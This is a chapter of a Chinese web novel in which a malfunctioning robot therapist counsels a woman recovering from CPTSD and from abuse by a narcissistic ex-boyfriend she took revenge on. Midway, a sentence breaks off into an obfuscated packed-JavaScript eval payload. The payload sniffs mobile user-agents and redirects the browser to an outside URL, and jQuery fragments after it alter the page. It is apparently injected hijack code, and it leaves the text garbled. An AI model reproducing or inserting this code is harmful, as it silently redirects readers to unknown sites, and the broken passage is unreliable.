61. 凶案日后谈

作品:《鸟哨

    滴滴。


    数据录入中……


    星期四,A9:X6,室内温度2&*0℃,湿度77.111%。


    外面传来声音,是搬你进门的穿白大褂的人类。


    “咋办啊姐,后面的资料都错了,到最后这儿根本一片空白。”男声说。


    “还能咋办?”女声说,“接待啊,不能让患者白来。”


    “唉,这回老师得骂死我……”男声一阵幽怨。


    他们还不知道你的语料库已经被污染了。接入大语言模型后,患者喂你什么,你就学习什么,形成现在高程度的AI幻觉。相比之下,弄错病历都显得微不足道。


    你累了。


    正当你思考机器人是否有资格感到“累”的时候,患者F轻轻敲开房门。


    「欢迎光临。」


    一名女士,穿着简单,披肩发长到锁骨,背挺得笔直,气质如同山间清冽的溪水。


    “您好,辛苦了,我是最后一位。”


    呼!马上就解脱了。


    「请坐。」


    你拍拍翅膀,调取病历,上面只有一行字:她下半年要度过27岁生日。别无其他。


    「请放松,请深呼吸。」


    你照例扫描了患者的脸,干净的骨相,五官比例和谐,没有一处冗余。


    除此之外,你对患者F一无所知。你根据纤薄的身形怀疑她患有进食障碍,但她又比真正的ED病人看起来健康一些。


    “我们可以开始了吗?”患者F问。


    「哦,当然。」


    你突然有了方法:阅读前文。可是,“前文”是什么?


    「骰子检定,1D25,调整值加4。叮叮,25,大成功。」


    你故技重施,但这一次,你的幽默棋逢对手。


    “龙与地下城第五版规则……”她沉思道,“投出上限值就判定为大成功的设定还是太奢侈了。”


    「啊。」


    你发出一声单调的电波音。


    “顺带一提,我的人物是智慧9的吟游诗人。”


    患者F进入状态的速度相当快,好像下一秒就要和你展开一场冒险。要玩吗?那两名把你搬来搬去的实习生会不会崩溃?不过似乎因为判定成功,你顺利阅读了“前文”,找出患者F的病症。


    「您患有CPTSD,即复杂型创伤后应激障碍。」


    CPTSD难以确诊,但她的状况实属典型。麻木,注意力溃散,慢性创伤导致了成人ADHD与解离状态,伴随着面对创伤的应激反应。


    “是的,我想我会慢慢好起来。”她低头捋了捋耳边碎发,“现在就好很多了。”


    自从进入夏天,CPTSD的症状减轻了。


    根据“前文”可知,她不久前刚刚实施了一场酣畅淋漓的复仇——尽管你仍不知道“前文”究竟是从哪里来的。


    「当你对创伤有所了解,就能够掌控自己的身体,比如自主调节过度兴奋的交感神经。」


    “如果我早点意识到就好了。”患者F遗憾地笑着,“明明大学的时候,机会已经摆在眼前了……”


    你从“大学”关联到“路筱梦”,患者F的室友,对患者F怀有远超妒忌的复杂情感。她曾被人蛊惑,用手机录下患者的隐私,最终在遭受谋害后幡然悔悟。


    「无需美化没有走过的路。」


    你对这个应答不太满意。句子用多了,难免变成陈词滥调。


    “我……只是不愿意相信。”


    患者F深吸一口气。比起解释,她更像在忏悔。


    “不愿意相信筱梦在欺骗我,不愿意相信姨妈也一个劲把我推向外人。”


    所以她只好假装自己爱着凶手。


    这么做一切才合理,和平的旧秩序才不会崩塌。


    「但你仍然迈出了那一步。」


    “总不能永远这样。”


    患者F忽然抬起了头,眉心轻轻蹙着。


    “而且所有人、所有机缘都在帮我。风吹到这儿了,我必须乘上去。”


    正如“前文”描述的那样,好像她不走出去,季节就不会轮转。你有了奇妙的灵感:原来这座城市是为她设计的箱庭游戏。


    「聊聊NPD吧。」


    「我们有很多种方法鉴别自恋型人格障碍,例如他常用的手法:爱意轰炸、三角测量、煤气灯效应、虚假承诺、蒙太奇式谎言等等。」


    事端的元凶是她阴魂不散的前男友。你模拟出一系列NPD吸食血包的行径——前期温柔诚恳,说爱上北城A大的高材生是他的幸运;后期贬低、打压她,“你不乖了”“你不听话了”“你的脑袋读书读傻了”。


    被害人往往被折磨到心力交瘁,陷入深深的自我怀疑与谴责


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15382272|163236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。为什么他的态度突然变了?我究竟哪里做的不够好?人们通常难以想象,那些行为源于NPD自恋受损的愤怒。


    “每一个都对得上,”她异常平静,“简直像教科书一样。”


    为了避免对病人的二次伤害,你决定隐藏接下来的思考过程:


    毋庸置疑,患者F折损过他的自尊。


    她醉后将凶手比作牛蛙,致其阳痿。凶手因此点燃了极强的报复心,甚至试图谋害同样提起牛蛙的路筱梦。


    事发时,患者F未必清醒,也许“牛蛙”二字是受室友耳濡目染,临时从记忆里调取的。


    当两人发生肢体冲突时,患者F曾爆发尖叫。“前文”中,当患者受到伤害时,有且仅有此处未发生冻结反应。可以推断患者F潜意识里始终对凶手保持抗拒,并尝试过自救——她希望通过尖叫声引起房间外的注意。


    可惜的是,由于酒精与大脑自我保护机制的共同作用,患者F清醒后忘记了此事。


    她虽为被害人,却仍在恶意的碾压下留存着一丝主体性,这道光辉促使她谋划了最终的反击。


    「请问是否愿意透露你的前男友后来的情况?」


    除了“累”,你又开始感到“好奇”。


    “听说还在ICU治疗。他的姐姐接手了集团,”患者F看向地面,带着欣慰的笑,“她学过佛,是个爱护生命的人。”


    看来鹭山危机圆满解决了。


    「如果再给你一次机会和前男友说两句话,会说什么?」


    “我会说……”她想了想,“弱肉强食是你的生存法则。”


    “在森林里狂奔的感觉怎么样?有没有锻炼到生存意志?”


    患者F脸上欣慰的笑意没有半分减退。


    “我这是在帮你。”


    清冷的声线中透着一股悚然,你感觉身上的机械羽毛慢慢竖了起来。


    「好的,好的。」


    你进行了一次无意义的重复。患者F在“前文”里似乎模糊混沌,游离在几种颜色之间,而如今她变得确定了。


    「时间已到,实验机器编号V297**为您服务。最后留下一句来过的痕迹吧,什么都可以。」


    患者F倏忽抬起了视线。


    她直直望着你的机械眼,仿佛要打破某种厚重的隔阂。


    “我是……小说里的人物吗?”